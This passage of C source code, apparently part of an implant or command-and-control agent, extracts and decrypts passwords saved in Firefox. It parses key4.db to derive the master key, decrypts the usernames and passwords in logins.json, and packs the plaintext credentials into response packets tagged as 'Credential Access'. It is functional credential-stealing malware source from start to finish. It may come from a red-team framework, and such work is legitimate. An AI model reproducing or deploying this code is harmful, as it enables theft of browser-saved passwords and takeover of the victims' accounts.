    _inf("Aes256CbcDecrypt: IV[0-15]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
         Iv[0], Iv[1], Iv[2], Iv[3], Iv[4], Iv[5], Iv[6], Iv[7],
         Iv[8], Iv[9], Iv[10], Iv[11], Iv[12], Iv[13], Iv[14], Iv[15]);
    
    Result = CryptImportKey(Provider, Buffer, sizeof(Buffer), 0, 0, &KeyHandle);
    if (Result == FALSE) {
        _err("Aes256CbcDecrypt: Failed to import AES key, GetLastError=%lu (0x%08lX)", GetLastError(), GetLastError());
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }
    _inf("Aes256CbcDecrypt: Successfully imported AES key");

    ULONG Mode = CRYPT_MODE_CBC;
    Result = CryptSetKeyParam(KeyHandle, KP_MODE, (PUCHAR)&Mode, 0);
    if (Result == FALSE) {
        _err("Aes256CbcDecrypt: Failed to set CBC mode, GetLastError=%lu", GetLastError());
        CryptDestroyKey(KeyHandle);
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }

    Result = CryptSetKeyParam(KeyHandle, KP_IV, Iv, 0);
    if (Result == FALSE) {
        _err("Aes256CbcDecrypt: Failed to set IV, GetLastError=%lu (0x%08lX)", GetLastError(), GetLastError());
        CryptDestroyKey(KeyHandle);
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }
    _inf("Aes256CbcDecrypt: Successfully set IV");

    _inf("Aes256CbcDecrypt: Attempting to decrypt %lu bytes of ciphertext", *CiphertextLength);
    Result = CryptDecrypt(KeyHandle, 0, TRUE, 0, Ciphertext, CiphertextLength);
    if (Result == FALSE) {
        ULONG LastError = GetLastError();
        _err("Aes256CbcDecrypt: Failed to decrypt, GetLastError=%lu (0x%08lX)", LastError, LastError);
        // NTE_BAD_KEY (0x80090005) means the key is invalid
        if (LastError == 0x80090005) {
            _err("Aes256CbcDecrypt: NTE_BAD_KEY - The key material is invalid or the key size is incorrect");
        }
    } else {
        _inf("Aes256CbcDecrypt: Decryption succeeded, decrypted size=%lu", *CiphertextLength);
    }

    if (KeyHandle != 0) {
        CryptDestroyKey(KeyHandle);
    }
    CryptReleaseContext(Provider, 0);
    return Result;
}

/**
 * @brief Decrypt master key from key4.db
 */
static BOOLEAN DecryptMasterKey(PSTR MasterPassword, PUCHAR Buffer, PULONG BufferSize, PUCHAR GlobalSalt, ULONG GlobalSaltSize, PUCHAR MasterKey) {
    BOOLEAN Result;
    UCHAR AesIv[16];
    PUCHAR EntrySalt;
    ULONG EntrySaltSize;
    ULONG IterationCount;
    ULONG MasterKeySize;
    PUCHAR OriginalBuffer = Buffer; // Keep track of original for debugging

    _inf("DecryptMasterKey: Starting, BufferSize=%lu, GlobalSaltSize=%lu", *BufferSize, GlobalSaltSize);

    // Skip to entry salt
    for (UCHAR Count = 0; Count < 2; Count++) {
        Result = ParseAsn1Type(&Buffer, SEQUENCE_TAG, FALSE, NULL);
        if (Result == FALSE) {
            _err("DecryptMasterKey: Failed to parse SEQUENCE #%d (Count=%d)", Count + 1, Count);
            return Result;
        }
        Result = ParseAsn1Type(&Buffer, SEQUENCE_TAG, FALSE, NULL);
        if (Result == FALSE) {
            _err("DecryptMasterKey: Failed to parse inner SEQUENCE #%d (Count=%d)", Count + 1, Count);
            return Result;
        }
        Result = ParseAsn1Type(&Buffer, OBJECT_IDENTIFIER_TAG, TRUE, NULL);
        if (Result == FALSE) {
            _err("DecryptMasterKey: Failed to parse OBJECT_IDENTIFIER #%d (Count=%d)", Count + 1, Count);
            return Result;
        }
    }

    Result = ParseAsn1Type(&Buffer, SEQUENCE_TAG, FALSE, NULL);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to parse PBKDF2 SEQUENCE");
        return Result;
    }

    Result = ParseAsn1Type(&Buffer, OCTET_STRING_TAG, FALSE, &EntrySaltSize);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to parse entry salt OCTET_STRING");
        return Result;
    }
    _inf("DecryptMasterKey: EntrySaltSize=%lu", EntrySaltSize);

    EntrySalt = Buffer;
    Buffer += EntrySaltSize;

    ULONG IterationCountSize;
    Result = ParseAsn1Type(&Buffer, INTEGER_TAG, FALSE, &IterationCountSize);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to parse iteration count INTEGER");
        return Result;
    }
    
    // Parse INTEGER value (can be 1-4 bytes, big-endian)
    IterationCount = 0;
    for (ULONG i = 0; i < IterationCountSize && i < 4; i++) {
        IterationCount = (IterationCount << 8) | Buffer[i];
    }
    Buffer += IterationCountSize;
    _inf("DecryptMasterKey: IterationCount=%lu (size=%lu bytes)", IterationCount, IterationCountSize);

    Result = ParseAsn1Type(&Buffer, INTEGER_TAG, TRUE, NULL);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to skip second INTEGER");
        return Result;
    }

    Result = ParseAsn1Type(&Buffer, SEQUENCE_TAG, TRUE, NULL);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to skip HMAC SEQUENCE");
        return Result;
    }

    Result = ParseAsn1Type(&Buffer, SEQUENCE_TAG, FALSE, NULL);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to parse AES SEQUENCE");
        return Result;
    }

    Result = ParseAsn1Type(&Buffer, OBJECT_IDENTIFIER_TAG, TRUE, NULL);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to parse AES OBJECT_IDENTIFIER");
        return Result;
    }

    ULONG IvOctetStringSize;
    Result = ParseAsn1Type(&Buffer, OCTET_STRING_TAG, FALSE, &IvOctetStringSize);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to parse IV OCTET_STRING");
        return Result;
    }
    if (IvOctetStringSize != 14) {
        _err("DecryptMasterKey: IV OCTET_STRING size is %lu, expected 14", IvOctetStringSize);
        return FALSE;
    }

    AesIv[0] = 0x04;
    AesIv[1] = 0x0E;
    RtlCopyMemory(AesIv + 2, Buffer, 14);
    Buffer += 14;
    _inf("DecryptMasterKey: Extracted AES IV");

    Result = ParseAsn1Type(&Buffer, OCTET_STRING_TAG, FALSE, &MasterKeySize);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Failed to parse encrypted master key OCTET_STRING");
        return Result;
    }
    _inf("DecryptMasterKey: MasterKeySize=%lu", MasterKeySize);

    UCHAR Hash[20];
    UCHAR DerivedKey[32];

    Result = Sha1Hash(MasterPassword, GlobalSalt, GlobalSaltSize, Hash);
    if (Result == FALSE) {
        _err("DecryptMasterKey: Sha1Hash failed");
        return Result;
    }
    _inf("DecryptMasterKey: SHA1 hash computed");

    Result = DeriveKeyPbkdf2(Hash, sizeof(Hash), EntrySalt, EntrySaltSize, IterationCount, DerivedKey);
    if (Result == FALSE) {
        _err("DecryptMasterKey: DeriveKeyPbkdf2 failed");
        return Result;
    }
    _inf("DecryptMasterKey: PBKDF2 key derived");

    Result = Aes256CbcDecrypt(DerivedKey, AesIv, Buffer, &MasterKeySize);
    if (Result == TRUE) {
        _inf("DecryptMasterKey: AES-256 decryption succeeded, MasterKeySize=%lu", MasterKeySize);
        // Copy the master key - it can be 24 or 32 bytes
        // If it's 24 bytes, we'll need to handle it differently for login decryption
        ULONG CopySize = (MasterKeySize > 32) ? 32 : MasterKeySize;
        RtlCopyMemory(MasterKey, Buffer, CopySize);
        _inf("DecryptMasterKey: Copied %lu bytes to MasterKey buffer", CopySize);
        // Log first few bytes for debugging
        _inf("DecryptMasterKey: MasterKey[0-7]=%02X%02X%02X%02X%02X%02X%02X%02X", 
             MasterKey[0], MasterKey[1], MasterKey[2], MasterKey[3],
             MasterKey[4], MasterKey[5], MasterKey[6], MasterKey[7]);
    } else {
        _err("DecryptMasterKey: AES-256 decryption failed");
    }

    return Result;
}

/**
 * @brief Context for extracting master key from key4.db
 */
typedef struct {
    BOOLEAN Result;
    PUCHAR MasterKey;
    PSTR MasterPassword;
    UCHAR GlobalSalt[24];
    ULONG GlobalSaltSize;
} LOGIN_KEY_CONTEXT, *PLOGIN_KEY_CONTEXT;

/**
 * @brief SQL callback to extract global salt
 */
static INT ExtractGlobalSaltCallback(PVOID Parameter, INT Argc, PCHAR* Argv, PCHAR* ColumnName) {
    PLOGIN_KEY_CONTEXT KeyContext = (PLOGIN_KEY_CONTEXT)Parameter;
    if (Argc < 1 || Argv[0] == NULL) {
        _err("ExtractGlobalSaltCallback: No data in item1 column");
        return 0;
    }
    KeyContext->GlobalSaltSize = (ULONG)strlen(Argv[0]);
    _inf("ExtractGlobalSaltCallback: Global salt size=%lu bytes", KeyContext->GlobalSaltSize);
    if (KeyContext->GlobalSaltSize > sizeof(KeyContext->GlobalSalt)) {
        _err("ExtractGlobalSaltCallback: Global salt too large (%lu > %lu)", KeyContext->GlobalSaltSize, (ULONG)sizeof(KeyContext->GlobalSalt));
        KeyContext->GlobalSaltSize = 0;
        return 0;
    }
    RtlCopyMemory(KeyContext->GlobalSalt, Argv[0], KeyContext->GlobalSaltSize);
    _inf("ExtractGlobalSaltCallback: Successfully extracted global salt");
    return 0;
}

/**
 * @brief SQL callback to extract and decrypt master key
 */
static INT ExtractKeyCallback(PVOID Parameter, INT Argc, PCHAR* Argv, PCHAR* ColumnName) {
    PLOGIN_KEY_CONTEXT KeyContext = (PLOGIN_KEY_CONTEXT)Parameter;
    if (Argc < 1 || Argv[0] == NULL) {
        _err("ExtractKeyCallback: No data in a11 column");
        KeyContext->Result = FALSE;
        return 0;
    }
    
    PUCHAR EncryptedMasterKey = (PUCHAR)Argv[0];
    ULONG EncryptedMasterKeySize = (ULONG)strlen(Argv[0]);
    _inf("ExtractKeyCallback: Encrypted master key size=%lu bytes", EncryptedMasterKeySize);
    
    KeyContext->Result = DecryptMasterKey(KeyContext->MasterPassword, EncryptedMasterKey, &EncryptedMasterKeySize, 
                                          KeyContext->GlobalSalt, KeyContext->GlobalSaltSize, KeyContext->MasterKey);
    if (KeyContext->Result == FALSE) {
        _err("ExtractKeyCallback: DecryptMasterKey failed");
    } else {
        _inf("ExtractKeyCallback: Successfully decrypted master key");
    }
    return 0;
}

/**
 * @brief Get master key from key4.db
 */
static BOOLEAN GetFirefoxMasterKey(PSTR MasterPassword, PUCHAR MasterKey) {
    LOGIN_KEY_CONTEXT KeyContext = {0};
    KeyContext.MasterKey = MasterKey;
    KeyContext.MasterPassword = MasterPassword;
    PCHAR ErrorMessage;
    sqlite3* KeyDatabase;
    ULONG Result;

    // Check if key4.db exists
    DWORD FileAttrib = GetFileAttributesA("key4.db");
    if (FileAttrib == INVALID_FILE_ATTRIBUTES) {
        _wrn("GetFirefoxMasterKey: key4.db not found in current directory");
        return FALSE;
    }

    Result = sqlite3_open_v2("key4.db", &KeyDatabase, SQLITE_OPEN_READONLY, 0);
    if (Result != SQLITE_OK) {
        _err("GetFirefoxMasterKey: Failed to open key4.db: %s", sqlite3_errmsg(KeyDatabase));
        return FALSE;
    }

    CONST CHAR PasswordMetadataSqlQuery[] = "SELECT item1 FROM metadata WHERE id = 'password';";
    CONST CHAR ExtractKeySqlQuery[] = "SELECT a11 FROM nssPrivate;";

    Result = sqlite3_exec(KeyDatabase, PasswordMetadataSqlQuery, ExtractGlobalSaltCallback, &KeyContext, &ErrorMessage);
    if (Result != SQLITE_OK) {
        _err("GetFirefoxMasterKey: Failed to extract global salt: %s", ErrorMessage ? ErrorMessage : "unknown error");
        if (ErrorMessage) sqlite3_free(ErrorMessage);
        sqlite3_close_v2(KeyDatabase);
        return FALSE;
    }

    if (KeyContext.GlobalSaltSize == 0) {
        _err("GetFirefoxMasterKey: Global salt size is 0 (query returned no results)");
        sqlite3_close_v2(KeyDatabase);
        return FALSE;
    }
    _inf("GetFirefoxMasterKey: Extracted global salt, size=%lu", KeyContext.GlobalSaltSize);

    Result = sqlite3_exec(KeyDatabase, ExtractKeySqlQuery, ExtractKeyCallback, &KeyContext, &ErrorMessage);
    if (Result != SQLITE_OK) {
        _err("GetFirefoxMasterKey: Failed to extract master key from nssPrivate: %s", ErrorMessage ? ErrorMessage : "unknown error");
        if (ErrorMessage) sqlite3_free(ErrorMessage);
        KeyContext.Result = FALSE;
    } else {
        _inf("GetFirefoxMasterKey: SQL query succeeded, Result=%d", KeyContext.Result);
    }

    sqlite3_close_v2(KeyDatabase);
    
    if (KeyContext.Result == FALSE) {
        _err("GetFirefoxMasterKey: Failed to decrypt master key");
    } else {
        _inf("GetFirefoxMasterKey: Successfully extracted master key");
    }
    
    return KeyContext.Result;
}

/**
 * @brief Decrypt Firefox login data (username or password)
 * Note: Firefox uses 3DES-CBC (des-ede3-cbc) with 24-byte master key and 8-byte IV
 * The ASN.1 OID indicates "des-ede3-cbc", and the master key is 24 bytes (perfect for 3DES)
 */
static PSTR DecryptFirefoxLoginData(PSTR Data, PULONG DataSize, PUCHAR MasterKey) {
    PUCHAR Base64Decoded;
    ULONG DecodedBufferSize = 0;
    PUCHAR Ciphertext = NULL;
    PUCHAR Iv = NULL;

    _inf("DecryptFirefoxLoginData: Starting, DataSize=%lu", *DataSize);
    
    Base64Decoded = Base64Decode(Data, *DataSize, &DecodedBufferSize);
    if (Base64Decoded == NULL) {
        _err("DecryptFirefoxLoginData: Failed to base64 decode data");
        return NULL;
    }
    _inf("DecryptFirefoxLoginData: Base64 decoded, size=%lu", DecodedBufferSize);

    ExtractAsn1LoginData(Base64Decoded, &Ciphertext, DataSize, &Iv);
    if (Ciphertext != NULL && Iv != NULL) {
        _inf("DecryptFirefoxLoginData: Extracted IV and ciphertext, ciphertext size=%lu", *DataSize);
        _inf("DecryptFirefoxLoginData: IV[0-15]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
             Iv[0], Iv[1], Iv[2], Iv[3], Iv[4], Iv[5], Iv[6], Iv[7],
             Iv[8], Iv[9], Iv[10], Iv[11], Iv[12], Iv[13], Iv[14], Iv[15]);
        _inf("DecryptFirefoxLoginData: MasterKey[0-15]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
             MasterKey[0], MasterKey[1], MasterKey[2], MasterKey[3],
             MasterKey[4], MasterKey[5], MasterKey[6], MasterKey[7],
             MasterKey[8], MasterKey[9], MasterKey[10], MasterKey[11],
             MasterKey[12], MasterKey[13], MasterKey[14], MasterKey[15]);
        _inf("DecryptFirefoxLoginData: MasterKey[16-31]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
             MasterKey[16], MasterKey[17], MasterKey[18], MasterKey[19],
             MasterKey[20], MasterKey[21], MasterKey[22], MasterKey[23],
             MasterKey[24], MasterKey[25], MasterKey[26], MasterKey[27],
             MasterKey[28], MasterKey[29], MasterKey[30], MasterKey[31]);
        _inf("DecryptFirefoxLoginData: Ciphertext[0-15]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
             Ciphertext[0], Ciphertext[1], Ciphertext[2], Ciphertext[3],
             Ciphertext[4], Ciphertext[5], Ciphertext[6], Ciphertext[7],
             Ciphertext[8], Ciphertext[9], Ciphertext[10], Ciphertext[11],
             Ciphertext[12], Ciphertext[13], Ciphertext[14], Ciphertext[15]);
        
        // Decrypt the data using AES-256-CBC (exactly like reference code)
        // Pass MasterKey directly - Aes256CbcDecrypt will read 32 bytes from the buffer
        if (Aes256CbcDecrypt(MasterKey, Iv, Ciphertext, DataSize) == FALSE) {
            _err("DecryptFirefoxLoginData: Failed to decrypt using AES-256");
            HeapFree(GetProcessHeap(), 0, Base64Decoded);
            return NULL;
        }
        _inf("DecryptFirefoxLoginData: Decryption succeeded, size=%lu", *DataSize);
    } else {
        _err("DecryptFirefoxLoginData: Failed to extract IV or ciphertext from ASN1 (Ciphertext=%p, Iv=%p)", Ciphertext, Iv);
        HeapFree(GetProcessHeap(), 0, Base64Decoded);
        return NULL;
    }

    HeapFree(GetProcessHeap(), 0, Base64Decoded);
    return (PSTR)Ciphertext;
}

/**
 * @brief Parse and display Firefox logins from logins.json
 */
static VOID DumpFirefoxLogins(PPaquete respuesta, PPaquete salida, PCHAR browserName, PINT loginCount, DumpContext* ctx) {
    WCHAR LoginsPath[MAX_PATH];
    WCHAR Key4Path[MAX_PATH];
    PUCHAR LoginsJson;
    ULONG LoginsSize;
    CHAR artifactMsg[512] = {0};
    BOOLEAN foundAny = FALSE;
    UCHAR MasterKey[32] = {0};  // Firefox master key can be 24 or 32 bytes, but Aes256CbcDecrypt needs 32 bytes

    // Get current directory (should be the Firefox profile directory)
    if (GetCurrentDirectoryW(MAX_PATH, LoginsPath) == 0) {
        _err("DumpFirefoxLogins: Failed to get current directory, GetLastError=%lu", GetLastError());
        return;
    }
    
    CHAR CurrentDirA[MAX_PATH];
    WideCharToMultiByte(CP_UTF8, 0, LoginsPath, -1, CurrentDirA, MAX_PATH, NULL, NULL);
    _inf("DumpFirefoxLogins: Current directory: %s", CurrentDirA);
    
    // Build paths for logins.json and key4.db
    wcscpy(Key4Path, LoginsPath);
    wcscat(LoginsPath, L"\\logins.json");
    wcscat(Key4Path, L"\\key4.db");
    
    CHAR LoginsPathA[MAX_PATH];
    WideCharToMultiByte(CP_UTF8, 0, LoginsPath, -1, LoginsPathA, MAX_PATH, NULL, NULL);
    _inf("DumpFirefoxLogins: Looking for logins.json at: %s", LoginsPathA);
    
    CHAR Key4PathA[MAX_PATH];
    WideCharToMultiByte(CP_UTF8, 0, Key4Path, -1, Key4PathA, MAX_PATH, NULL, NULL);
    _inf("DumpFirefoxLogins: Looking for key4.db at: %s", Key4PathA);

    LoginsJson = ReadFileContentsW(LoginsPath, &LoginsSize);
    if (LoginsJson == NULL) {
        _wrn("DumpFirefoxLogins: logins.json not found or cannot be read at: %s", LoginsPathA);
        return; // File doesn't exist or can't be read
    }
    _inf("DumpFirefoxLogins: Read logins.json, size=%lu bytes", LoginsSize);

    // Check if key4.db exists before trying to decrypt
    DWORD Key4Attrib = GetFileAttributesW(Key4Path);
    if (Key4Attrib == INVALID_FILE_ATTRIBUTES) {
        _err("DumpFirefoxLogins: key4.db not found at: %s, GetLastError=%lu", Key4PathA, GetLastError());
        PackageAddFormatPrintf(salida, FALSE, "- [ERROR] Cannot decrypt logins: key4.db not found at %s\n\n", Key4PathA);
        HeapFree(GetProcessHeap(), 0, LoginsJson);
        return;
    }
    _inf("DumpFirefoxLogins: key4.db found, attempting to extract master key");

    // Get the master key from key4.db (no master password needed for most cases)
    if (GetFirefoxMasterKey(NULL, MasterKey) == FALSE) {
        _err("DumpFirefoxLogins: Failed to get master key from key4.db, cannot decrypt logins");
        PackageAddFormatPrintf(salida, FALSE, "- [ERROR] Cannot decrypt logins: master key decryption failed (key4.db exists but decryption failed)\n\n");
        HeapFree(GetProcessHeap(), 0, LoginsJson);
        return; // Can't decrypt without master key
    }
    _inf("DumpFirefoxLogins: Successfully extracted master key, proceeding to decrypt logins");
    // Log master key for debugging
    _inf("DumpFirefoxLogins: MasterKey[0-15]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
         MasterKey[0], MasterKey[1], MasterKey[2], MasterKey[3],
         MasterKey[4], MasterKey[5], MasterKey[6], MasterKey[7],
         MasterKey[8], MasterKey[9], MasterKey[10], MasterKey[11],
         MasterKey[12], MasterKey[13], MasterKey[14], MasterKey[15]);
    _inf("DumpFirefoxLogins: MasterKey[16-31]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
         MasterKey[16], MasterKey[17], MasterKey[18], MasterKey[19],
         MasterKey[20], MasterKey[21], MasterKey[22], MasterKey[23],
         MasterKey[24], MasterKey[25], MasterKey[26], MasterKey[27],
         MasterKey[28], MasterKey[29], MasterKey[30], MasterKey[31]);

    // Parse JSON manually (matching reference code exactly)
    // Firefox logins.json format: {"logins":[...], "nextId":...}
    // Each login has: "id", "hostname", "httpRealm", "formSubmitURL", "usernameField", "passwordField", 
    // "encryptedUsername", "encryptedPassword", "guid", "timeCreated", "timeLastUsed", "timePasswordChanged"
    
    PCHAR jsonStr = (PCHAR)LoginsJson;
    
    // Find each login entry by searching for "hostname" (exactly like reference code)
    PCHAR Logins = strstr(jsonStr, "hostname");
    _inf("DumpFirefoxLogins: Starting to parse logins, first occurrence at offset %lu", Logins ? (ULONG)(Logins - jsonStr) : 0);
    
    while (Logins != NULL) {
        foundAny = TRUE;
        if (loginCount) (*loginCount)++; // Increment login counter
        
        // Extract hostname (matching reference code exactly: Logins + sizeof("hostname: "))
        // In JSON: "hostname": "value" - after "hostname" comes ": " (3 chars), so we skip "hostname" (9) + ": " (3) = 12
        // sizeof("hostname: ") = 12 (11 chars + null), so we use it directly without -1
        PCHAR Hostname = Logins + sizeof("hostname: ");
        PCHAR HostnameEnd = strchr(Hostname, '"');
        if (HostnameEnd == NULL) {
            _wrn("DumpFirefoxLogins: Could not find end quote for hostname");
            Logins = strstr(Logins + 1, "hostname");
            continue;
        }
        SIZE_T HostnameSize = HostnameEnd - Hostname;
        
        _inf("DumpFirefoxLogins: Found hostname, size=%lu, value=%.*s", (ULONG)HostnameSize, (INT)HostnameSize, Hostname);
        
        // Print profile header and logins header only on first login
        if (loginCount && *loginCount == 1 && ctx) {
            // Print profile header first if not printed yet
            if (!ctx->profileHeaderPrinted && ctx->profileName[0] != '\0') {
                PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
                PackageAddFormatPrintf(salida, FALSE, "||            Profile: %-20s ||\n", ctx->profileName);
                PackageAddFormatPrintf(salida, FALSE, "============================================\n");
                ctx->profileHeaderPrinted = TRUE;
            }
            // Print logins header
            PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
            PackageAddFormatPrintf(salida, FALSE, "||              Saved logins              ||\n");
            PackageAddFormatPrintf(salida, FALSE, "============================================\n\n");
        }
        
        // Display URL
        PackageAddFormatPrintf(salida, FALSE, "- URL: %.*s\n", (INT)HostnameSize, Hostname);
        
        // Get encryptedUsername (matching reference code exactly)
        PCHAR Username = strstr(Hostname + HostnameSize, "encryptedUsername");
        if (Username == NULL) {
            _wrn("DumpFirefoxLogins: Could not find encryptedUsername attribute");
            PackageAddFormatPrintf(salida, FALSE, "- [WARNING] Could not find encryptedUsername attribute\n\n");
            Logins = strstr(Logins + 1, "hostname");
            continue;
        }
        Username = Username + sizeof("encryptedUsername: ");
        PCHAR UsernameEnd = strchr(Username, '"');
        if (UsernameEnd == NULL) {
            _wrn("DumpFirefoxLogins: Invalid encryptedUsername format");
            PackageAddFormatPrintf(salida, FALSE, "- [WARNING] Invalid encryptedUsername format\n\n");
            Logins = strstr(Logins + 1, "hostname");
            continue;
        }
        SIZE_T UsernameSize = UsernameEnd - Username;
        _inf("DumpFirefoxLogins: Found encryptedUsername, size=%lu", (ULONG)UsernameSize);
        
        // Get encryptedPassword (matching reference code exactly)
        PCHAR Password = strstr(Username + UsernameSize, "encryptedPassword");
        if (Password == NULL) {
            _wrn("DumpFirefoxLogins: Could not find encryptedPassword attribute");
            PackageAddFormatPrintf(salida, FALSE, "- [WARNING] Could not find encryptedPassword attribute\n\n");
            Logins = strstr(Logins + 1, "hostname");
            continue;
        }
        Password = Password + sizeof("encryptedPassword: ");
        PCHAR PasswordEnd = strchr(Password, '"');
        if (PasswordEnd == NULL) {
            _wrn("DumpFirefoxLogins: Invalid encryptedPassword format");
            PackageAddFormatPrintf(salida, FALSE, "- [WARNING] Invalid encryptedPassword format\n\n");
            Logins = strstr(Logins + 1, "hostname");
            continue;
        }
        SIZE_T PasswordSize = PasswordEnd - Password;
        _inf("DumpFirefoxLogins: Found encryptedPassword, size=%lu", (ULONG)PasswordSize);
        
        // Variables to store decrypted values for credential reporting
        CHAR decryptedUsernameStr[512] = {0};
        PSTR decryptedUsername = NULL;
        ULONG decryptedUsernameSize = 0;
        
        // Decrypt username (matching reference code structure)
        if (Username && UsernameSize > 0) {
            CHAR usernameBase64[512] = {0};
            memcpy(usernameBase64, Username, UsernameSize < sizeof(usernameBase64) - 1 ? UsernameSize : sizeof(usernameBase64) - 1);
            usernameBase64[UsernameSize < sizeof(usernameBase64) - 1 ? UsernameSize : sizeof(usernameBase64) - 1] = '\0';
            
            ULONG usernameDataSize = (ULONG)strlen(usernameBase64);
            decryptedUsername = DecryptFirefoxLoginData(usernameBase64, &usernameDataSize, MasterKey);
            if (decryptedUsername && usernameDataSize > 0) {
                decryptedUsernameSize = usernameDataSize;
                memcpy(decryptedUsernameStr, decryptedUsername, usernameDataSize < sizeof(decryptedUsernameStr) - 1 ? usernameDataSize : sizeof(decryptedUsernameStr) - 1);
                decryptedUsernameStr[usernameDataSize < sizeof(decryptedUsernameStr) - 1 ? usernameDataSize : sizeof(decryptedUsernameStr) - 1] = '\0';
                PackageAddFormatPrintf(salida, FALSE, "- Username: %.*s\n", (INT)usernameDataSize, decryptedUsername);
            }
        }
        
        // Decrypt password (matching reference code structure)
        if (Password && PasswordSize > 0) {
            CHAR passwordBase64[512] = {0};
            memcpy(passwordBase64, Password, PasswordSize < sizeof(passwordBase64) - 1 ? PasswordSize : sizeof(passwordBase64) - 1);
            passwordBase64[PasswordSize < sizeof(passwordBase64) - 1 ? PasswordSize : sizeof(passwordBase64) - 1] = '\0';
            
            ULONG passwordDataSize = (ULONG)strlen(passwordBase64);
            PSTR decryptedPassword = DecryptFirefoxLoginData(passwordBase64, &passwordDataSize, MasterKey);
            if (decryptedPassword && passwordDataSize > 0) {
                PackageAddFormatPrintf(salida, FALSE, "- Password: %.*s\n", (INT)passwordDataSize, decryptedPassword);
                
                // Report as credential
                CHAR realm[256] = {0};
                CHAR hostnameCopy[512] = {0};
                memcpy(hostnameCopy, Hostname, HostnameSize < sizeof(hostnameCopy) - 1 ? HostnameSize : sizeof(hostnameCopy) - 1);
                hostnameCopy[HostnameSize < sizeof(hostnameCopy) - 1 ? HostnameSize : sizeof(hostnameCopy) - 1] = '\0';
                
                PCHAR protocol = strstr(hostnameCopy, "://");
                if (protocol) {
                    PCHAR domainStart = protocol + 3;
                    PCHAR domainEnd = strchr(domainStart, '/');
                    if (domainEnd) {
                        SIZE_T domainLen = domainEnd - domainStart;
                        memcpy(realm, domainStart, domainLen < sizeof(realm) - 1 ? domainLen : sizeof(realm) - 1);
                        realm[domainLen < sizeof(realm) - 1 ? domainLen : sizeof(realm) - 1] = '\0';
                    } else {
                        strncpy_s(realm, sizeof(realm), domainStart, _TRUNCATE);
                    }
                } else {
                    strncpy_s(realm, sizeof(realm), hostnameCopy, _TRUNCATE);
                }
                
                PCHAR accountName = (decryptedUsernameSize > 0) ? decryptedUsernameStr : "firefox_user";
                addCredential(respuesta, "plaintext", realm, decryptedPassword, accountName);
            }
        }
        
        PackageAddFormatPrintf(salida, FALSE, "\n");
        
        // Move to next login entry
        PCHAR NextLogins = strstr(Logins + 1, "hostname");
        _inf("DumpFirefoxLogins: Moving to next login, found at offset %lu", NextLogins ? (ULONG)(NextLogins - jsonStr) : 0);
        Logins = NextLogins;
    }
    
    if (!foundAny) {
        _wrn("DumpFirefoxLogins: No logins found in logins.json");
        PackageAddFormatPrintf(salida, FALSE, "- [INFO] No saved logins found\n\n");
    } else {
        _inf("DumpFirefoxLogins: Finished parsing all logins");
        snprintf(artifactMsg, sizeof(artifactMsg), "Browser Credential Access: %s logins.json", browserName);
        addArtifact(respuesta, "Credential Access", artifactMsg);
    }

    HeapFree(GetProcessHeap(), 0, LoginsJson);
}

/**
 * @brief Dump Firefox browser
 */
static VOID DumpFirefoxBrowser(PPaquete respuesta, PPaquete salida) {
    WCHAR AppDataPath[MAX_PATH];
    HRESULT Result;
    PCHAR ProfilePath;
    PCHAR Buffer;
    ULONG BufferSize;
    WCHAR Path[MAX_PATH * 2];
    ULONG PathSize;
    sqlite3* Database;
    PCHAR ErrorMessage;
    DumpContext ctx;
    PCHAR LineEnd;
    WCHAR BufferW[MAX_PATH];
    PWCHAR NewDirectory;

    _inf("DumpFirefoxBrowser: Starting Firefox dump");

    // Use SHGetFolderPath instead of SHGetKnownFolderPath to avoid FOLDERID linking issues
    Result = SHGetFolderPathW(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, AppDataPath);
    if (FAILED(Result)) {
        _err("DumpFirefoxBrowser: Failed to get AppData path, HRESULT=0x%08X", Result);
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Could not get AppData path\n");
        return;
    }
    CHAR AppDataPathA[MAX_PATH];
    WideCharToMultiByte(CP_UTF8, 0, AppDataPath, -1, AppDataPathA, MAX_PATH, NULL, NULL);
    _inf("DumpFirefoxBrowser: Got AppData path: %s", AppDataPathA);

    wcscpy(Path, AppDataPath);
    wcscat(Path, L"\\Mozilla\\Firefox\\profiles.ini");
    // PathSize is the length of the base path (without "profiles.ini")
    // Calculate exactly like the original: wcslen(Path) - sizeof(L"profiles.ini") / sizeof(WCHAR) + 1
    // sizeof(L"profiles.ini") = 13 * sizeof(WCHAR) = 26 bytes
    // sizeof(L"profiles.ini") / sizeof(WCHAR) = 13 (includes null terminator)
    // wcslen(L"profiles.ini") = 12 (without null terminator)
    // So: PathSize = wcslen(Path) - 13 + 1 = wcslen(Path) - 12
    PathSize = wcslen(Path) - (sizeof(L"profiles.ini") / sizeof(WCHAR)) + 1;
    CHAR PathA[MAX_PATH * 2];
    WideCharToMultiByte(CP_UTF8, 0, Path, -1, PathA, MAX_PATH * 2, NULL, NULL);
    _inf("DumpFirefoxBrowser: Looking for profiles.ini at: %s", PathA);

    Buffer = (PCHAR)ReadFileContentsW(Path, &BufferSize);
    if (Buffer == 0) {
        _err("DumpFirefoxBrowser: Failed to read profiles.ini, GetLastError=%lu", GetLastError());
